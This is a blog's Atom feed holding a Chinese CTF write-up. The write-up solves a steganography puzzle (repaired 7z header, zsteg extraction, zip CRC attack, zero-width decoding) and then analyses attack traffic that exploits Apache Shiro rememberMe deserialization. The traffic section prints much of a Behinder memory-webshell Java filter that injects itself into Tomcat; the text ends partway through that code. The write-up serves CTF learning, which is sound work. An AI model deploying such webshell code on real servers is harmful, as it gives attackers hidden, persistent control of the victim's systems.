<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>GamerNoTitle</title>
  <icon>https://www.gravatar.com/avatar/898a1ce24f258d8b7863ec186021613a</icon>
  <subtitle>TECH OTAKUS SAVE THE WORLD</subtitle>
  <link href="https://bili33.top/atom.xml" rel="self"/>
  
  <link href="https://bili33.top/"/>
  <updated>2026-03-31T05:59:59.340Z</updated>
  <id>https://bili33.top/</id>
  
  <author>
    <name>GamerNoTitle</name>
    <email>admin@bili33.top</email>
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>第十九届 2026 软件系统安全赛华南赛区（CCSSSC2026）个人 Writeup</title>
    <link href="https://bili33.top/posts/CTF-CCSSSC2026-Preliminary-round-Writeup/"/>
    <id>https://bili33.top/posts/CTF-CCSSSC2026-Preliminary-round-Writeup/</id>
    <published>2026-03-16T04:58:49.000Z</published>
    <updated>2026-03-31T05:59:59.340Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><div class="note info flat"><p>不是，说好不给用网络搜索和 AI 的呢，合着就我们不用是吧，很多常规比赛没听过名字的院校都跑到上面去了</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/Weixin_rxeO4Ko0ci.png"></p></div><h1 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h1><h2 id="steganography"><a href="#steganography" class="headerlink" title="steganography"></a>steganography</h2><p>给了一个无后缀文件，file 认不出</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314120927478.png"></p><p>丢进 010 看一眼，发现可能是 7z 魔术头，但是被篡改</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121002038.png"></p><p>手动压一个 7z 出来看看魔术头，发现前四字节被直接覆写为 <code>FF FF FF FF</code>，改回来</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121054160.png"></p><p>可以打开了，里面有个 layer2.png，拿出来</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121122057.png"></p><p>因为题目说跟隐写有关，所以果断掏出 zsteg，检测一下发现存在 flag.zip</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121216214.png"></p><p>提取出来</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ ~/bin/zsteg -E b1,rgb,lsb,xy layer2.png &gt; flag.zip </span><br></pre></td></tr></table></figure><p>提取出来后发现无法打开</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121256858.png"></p><p>还是扔进 010 看一眼，发现头部被添加 <code>0F 06 00 00</code> 的冗余字节，导致无法识别</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121328731.png"></p><p>直接删掉，能打开了，里面有几个 zip，先解压出来</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121347661.png"></p><p>发现这几个 zip 都有加密，但是 data* 里面的 txt 文件大小都是 4Bytes，可以尝试 CRC 攻击</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121444419.png"></p><p>掏出 ZipCracker，直接用现成的</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121501026.png"></p><p>将所有内容组合起来为 <code>pass is c1!xxtLf%fXYPkaA</code>，拿着密码去解压 flag.zip 成功，得到 flag.txt 文件</p><p>打开发现最后列为 13，但是有 348 个字符</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121633423.png"></p><p>说明可能存在零宽隐写，但是去用零宽隐写的工具出不来</p><blockquote><p>下图工具是 <a href="https://bili33.top/zerowidth">https://bili33.top/zerowidth</a> ，特意做成了可以离线运行的东西 <a href="https://github.com/GamerNoTitle/ZeroWidth">https://github.com/GamerNoTitle/ZeroWidth</a></p></blockquote><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121705423.png"></p><p>尝试看看有什么字符</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">UNIQUE_CHAR = <span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;flag/flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>, encoding=<span class="string">&quot;utf8&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    flag = f.read().strip()</span><br><span class="line">    </span><br><span class="line"><span class="keyword">for</span> char <span class="keyword">in</span> flag:</span><br><span class="line">    UNIQUE_CHAR.add(char)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Unique characters in the flag:&quot;</span>, UNIQUE_CHAR)</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121748479.png"></p><p>发现除了常规的字符只有 <code>\u200b</code> 和 <code>\u200c</code>，可能是 01 编码，尝试一下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">UNIQUE_CHAR = <span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;flag/flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>, encoding=<span class="string">&quot;utf8&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    flag = f.read().strip()</span><br><span class="line">    </span><br><span class="line"><span class="keyword">for</span> char <span class="keyword">in</span> flag:</span><br><span class="line">    UNIQUE_CHAR.add(char)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Unique characters in the flag:&quot;</span>, UNIQUE_CHAR)</span><br><span class="line"></span><br><span class="line">MAPPING = &#123;</span><br><span class="line">    <span class="string">&quot;\u200b&quot;</span>: <span class="number">0</span>,</span><br><span class="line">    <span class="string">&quot;\u200c&quot;</span>: <span class="number">1</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> char <span class="keyword">in</span> flag:</span><br><span class="line">    <span class="keyword">if</span> char <span class="keyword">not</span> <span class="keyword">in</span> MAPPING: <span class="keyword">continue</span></span><br><span class="line">    <span class="built_in">print</span>(MAPPING[char], end=<span class="string">&quot;&quot;</span>)</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121834520.png"></p><p>得到 <code>011001000110000101110010011101000111101101100010011001100011010000110001001100000011000001100100001110010010110101100011011000110011100001100100001011010011010000111000011001100011011000101101011000010011000000111001001101010010110100110101001101000110001101100010011001100110000101100100001100010011100000111001011001010011000101111101</code>，用赛博厨子</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image-20260314121901764.png"></p><p>得到 flag 为 <code>dart&#123;bf4100d9-cc8d-48f6-a095-54cbfad189e1&#125;</code></p><h2 id="Traffic-hunt-赛后出"><a href="#Traffic-hunt-赛后出" class="headerlink" title="Traffic_hunt | 赛后出"></a>Traffic_hunt | 赛后出</h2><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/1773638763300-1.png"></p><p>登录的 rememberMe 字段传的数据流，先提取一手 Cookie</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ tshark -n -r  .\traffic_hunt.pcapng -T fields -Y <span class="string">&quot;tcp.stream eq 5009&quot;</span> -e http.cookie &gt;&gt; cookie.txt</span><br></pre></td></tr></table></figure><p>发现有奇怪的 Authorization 头，尝试看看内容</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image1.png"></p><p>发现是 Base64，直接解码</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2026-Preliminary-round-Writeup/image2.png"></p><p>服务器上存在 <code>shirodemo</code>，结合前面的 <code>rememberMe</code> 应该是 Shiro 的反序列化漏洞</p><blockquote><p>漏洞详情：<a href="https://zhuanlan.zhihu.com/p/663598887">https://zhuanlan.zhihu.com/p/663598887</a></p><p>解密 rememberMe 的工具：<a href="https://github.com/minhangxiaohui/Shiro_RememberMe_Decoder/tree/master">https://github.com/minhangxiaohui/Shiro_RememberMe_Decoder/tree/master</a></p></blockquote><p>提取出了冰蝎的 class</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.summersec.x;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.math.BigInteger;</span><br><span class="line"><span class="keyword">import</span> java.security.MessageDigest;</span><br><span class="line"><span class="keyword">import</span> java.util.EnumSet;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.Cipher;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.spec.SecretKeySpec;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.DispatcherType;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.Filter;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.FilterChain;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.FilterConfig;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletContext;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletException;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequestWrapper;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletResponse;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletResponseWrapper;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.FilterRegistration.Dynamic;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletResponse;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpSession;</span><br><span class="line"><span class="keyword">import</span> org.apache.catalina.LifecycleState;</span><br><span class="line"><span class="keyword">import</span> org.apache.catalina.connector.RequestFacade;</span><br><span class="line"><span class="keyword">import</span> org.apache.catalina.connector.ResponseFacade;</span><br><span class="line"><span class="keyword">import</span> org.apache.catalina.core.ApplicationContext;</span><br><span class="line"><span class="keyword">import</span> org.apache.catalina.core.StandardContext;</span><br><span class="line"><span class="keyword">import</span> org.apache.catalina.util.LifecycleBase;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">BehinderFilter</span> <span class="keyword">extends</span> <span class="title class_">ClassLoader</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">HttpServletRequest</span> <span class="variable">request</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">HttpServletResponse</span> <span class="variable">response</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">String</span> <span class="variable">cs</span> <span class="operator">=</span> <span class="string">&quot;UTF-8&quot;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">String</span> <span class="variable">Pwd</span> <span class="operator">=</span> <span class="string">&quot;eac9fa38330a7535&quot;</span>;     <span class="comment">// behinder 密钥</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">String</span> <span class="variable">path</span> <span class="operator">=</span> <span class="string">&quot;/favicondemo.ico&quot;</span>;    <span class="comment">// behinder 提取路径</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">BehinderFilter</span><span class="params">()</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">BehinderFilter</span><span class="params">(ClassLoader c)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(c);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Class <span class="title function_">g</span><span class="params">(<span class="type">byte</span>[] b)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">super</span>.defineClass(b, <span class="number">0</span>, b.length);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">md5</span><span class="params">(String s)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">ret</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">MessageDigest</span> <span class="variable">m</span> <span class="operator">=</span> MessageDigest.getInstance(<span class="string">&quot;MD5&quot;</span>);</span><br><span class="line">            m.update(s.getBytes(), <span class="number">0</span>, s.length());</span><br><span class="line">            ret = (<span class="keyword">new</span> <span class="title class_">BigInteger</span>(<span class="number">1</span>, m.digest())).toString(<span class="number">16</span>).substring(<span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var3) &#123;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> ret;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object obj)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.parseObj(obj);</span><br><span class="line">        <span class="built_in">this</span>.Pwd = md5(<span class="built_in">this</span>.request.getHeader(<span class="string">&quot;p&quot;</span>));</span><br><span class="line">        <span class="built_in">this</span>.path = <span class="built_in">this</span>.request.getHeader(<span class="string">&quot;path&quot;</span>);</span><br><span class="line">        <span class="type">StringBuffer</span> <span class="variable">output</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuffer</span>();</span><br><span class="line">        <span class="type">String</span> <span class="variable">tag_s</span> <span class="operator">=</span> <span class="string">&quot;-&gt;|&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">tag_e</span> <span class="operator">=</span> <span class="string">&quot;|&lt;-&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.response.setContentType(<span class="string">&quot;text/html&quot;</span>);</span><br><span class="line">            <span class="built_in">this</span>.request.setCharacterEncoding(<span class="built_in">this</span>.cs);     <span class="comment">// 设置编码方式</span></span><br><span class="line">            <span class="built_in">this</span>.response.setCharacterEncoding(<span class="built_in">this</span>.cs);    <span class="comment">// this.cs = UTF-8</span></span><br><span class="line">            output.append(<span class="built_in">this</span>.addFilter());</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var7) &#123;</span><br><span class="line">            output.append(<span class="string">&quot;ERROR:// &quot;</span> + var7.toString());</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.response.getWriter().print(tag_s + output.toString() + tag_e);</span><br><span class="line">            <span class="built_in">this</span>.response.getWriter().flush();</span><br><span class="line">            <span class="built_in">this</span>.response.getWriter().close();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception var6) &#123;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">parseObj</span><span class="params">(Object obj)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (obj.getClass().isArray()) &#123;</span><br><span class="line">            Object[] data = (Object[]) ((Object[]) ((Object[]) obj));</span><br><span class="line">            <span class="built_in">this</span>.request = (HttpServletRequest) data[<span class="number">0</span>];</span><br><span class="line">            <span class="built_in">this</span>.response = (HttpServletResponse) data[<span class="number">1</span>];</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;javax.servlet.jsp.PageContext&quot;</span>);</span><br><span class="line">                <span class="built_in">this</span>.request = (HttpServletRequest) clazz.getDeclaredMethod(<span class="string">&quot;getRequest&quot;</span>).invoke(obj);</span><br><span class="line">                <span class="built_in">this</span>.response = (HttpServletResponse) clazz.getDeclaredMethod(<span class="string">&quot;getResponse&quot;</span>).invoke(obj);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception var8) &#123;</span><br><span class="line">                <span class="keyword">if</span> (obj <span class="keyword">instanceof</span> HttpServletRequest) &#123;</span><br><span class="line">                    <span class="built_in">this</span>.request = (HttpServletRequest) obj;</span><br><span class="line"></span><br><span class="line">                    <span class="keyword">try</span> &#123;</span><br><span class="line">                        <span class="type">Field</span> <span class="variable">req</span> <span class="operator">=</span> <span class="built_in">this</span>.request.getClass().getDeclaredField(<span class="string">&quot;request&quot;</span>);</span><br><span class="line">                        req.setAccessible(<span class="literal">true</span>);</span><br><span class="line">                        <span class="type">HttpServletRequest</span> <span class="variable">request2</span> <span class="operator">=</span> (HttpServletRequest) req.get(<span class="built_in">this</span>.request);</span><br><span class="line">                        <span class="type">Field</span> <span class="variable">resp</span> <span class="operator">=</span> request2.getClass().getDeclaredField(<span class="string">&quot;response&quot;</span>);</span><br><span class="line">                        resp.setAccessible(<span class="literal">true</span>);</span><br><span class="line">                        <span class="built_in">this</span>.response = (HttpServletResponse) resp.get(request2);</span><br><span class="line">                    &#125; <span class="keyword">catch</span> (Exception var7) &#123;</span><br><span class="line">                        <span class="keyword">try</span> &#123;</span><br><span class="line">                            <span class="built_in">this</span>.response = (HttpServletResponse) <span class="built_in">this</span>.request.getClass().getDeclaredMethod(<span class="string">&quot;getResponse&quot;</span>).invoke(obj);</span><br><span class="line">                        &#125; <span class="keyword">catch</span> (Exception var6) &#123;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">addFilter</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ServletContext</span> <span class="variable">servletContext</span> <span class="operator">=</span> <span class="built_in">this</span>.request.getServletContext();</span><br><span class="line">        <span class="type">Filter</span> <span class="variable">filter</span> <span class="operator">=</span> <span class="built_in">this</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">filterName</span> <span class="operator">=</span> <span class="built_in">this</span>.path;</span><br><span class="line">        <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="built_in">this</span>.path;</span><br><span class="line">        <span class="keyword">if</span> (servletContext.getFilterRegistration(filterName) == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="type">Field</span> <span class="variable">contextField</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">            <span class="type">ApplicationContext</span> <span class="variable">applicationContext</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">            <span class="type">StandardContext</span> <span class="variable">standardContext</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">            <span class="type">Field</span> <span class="variable">stateField</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">            <span class="type">Dynamic</span> <span class="variable">filterRegistration</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">            String var11;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                contextField = servletContext.getClass().getDeclaredField(<span class="string">&quot;context&quot;</span>);</span><br><span class="line">                contextField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">                applicationContext = (ApplicationContext) contextField.get(servletContext);</span><br><span class="line">                contextField = applicationContext.getClass().getDeclaredField(<span class="string">&quot;context&quot;</span>);</span><br><span class="line">                contextField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">                standardContext = (StandardContext) contextField.get(applicationContext);</span><br><span class="line">                stateField = LifecycleBase.class.getDeclaredField(<span class="string">&quot;state&quot;</span>);</span><br><span class="line">                stateField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">                stateField.set(standardContext, LifecycleState.STARTING_PREP);</span><br><span class="line">                filterRegistration = servletContext.addFilter(filterName, filter);</span><br><span class="line">                filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), <span class="literal">false</span>, <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;url&#125;);</span><br><span class="line">                <span class="type">Method</span> <span class="variable">filterStartMethod</span> <span class="operator">=</span> StandardContext.class.getMethod(<span class="string">&quot;filterStart&quot;</span>);</span><br><span class="line">                filterStartMethod.setAccessible(<span class="literal">true</span>);</span><br><span class="line">                filterStartMethod.invoke(standardContext, (Object[]) <span class="literal">null</span>);</span><br><span class="line">                stateField.set(standardContext, LifecycleState.STARTED);</span><br><span class="line">                var11 = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">                Class filterMap;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    filterMap = Class.forName(<span class="string">&quot;org.apache.tomcat.util.descriptor.web.FilterMap&quot;</span>);</span><br><span class="line">                &#125; <span class="keyword">catch</span> (Exception var22) &#123;</span><br><span class="line">                    filterMap = Class.forName(<span class="string">&quot;org.apache.catalina.deploy.FilterMap&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="type">Method</span> <span class="variable">findFilterMaps</span> <span class="operator">=</span> standardContext.getClass().getMethod(<span class="string">&quot;findFilterMaps&quot;</span>);</span><br><span class="line">                Object[] filterMaps = (Object[]) ((Object[]) ((Object[]) findFilterMaps.invoke(standardContext)));</span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; filterMaps.length; ++i) &#123;</span><br><span class="line">                    <span class="type">Object</span> <span class="variable">filterMapObj</span> <span class="operator">=</span> filterMaps[i];</span><br><span class="line">                    findFilterMaps = filterMap.getMethod(<span class="string">&quot;getFilterName&quot;</span>);</span><br><span class="line">                    <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> (String) findFilterMaps.invoke(filterMapObj);</span><br><span class="line">                    <span class="keyword">if</span> (name.equalsIgnoreCase(filterName)) &#123;</span><br><span class="line">                        filterMaps[i] = filterMaps[<span class="number">0</span>];</span><br><span class="line">                        filterMaps[<span class="number">0</span>] = filterMapObj;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="type">String</span> <span class="variable">var25</span> <span class="operator">=</span> <span 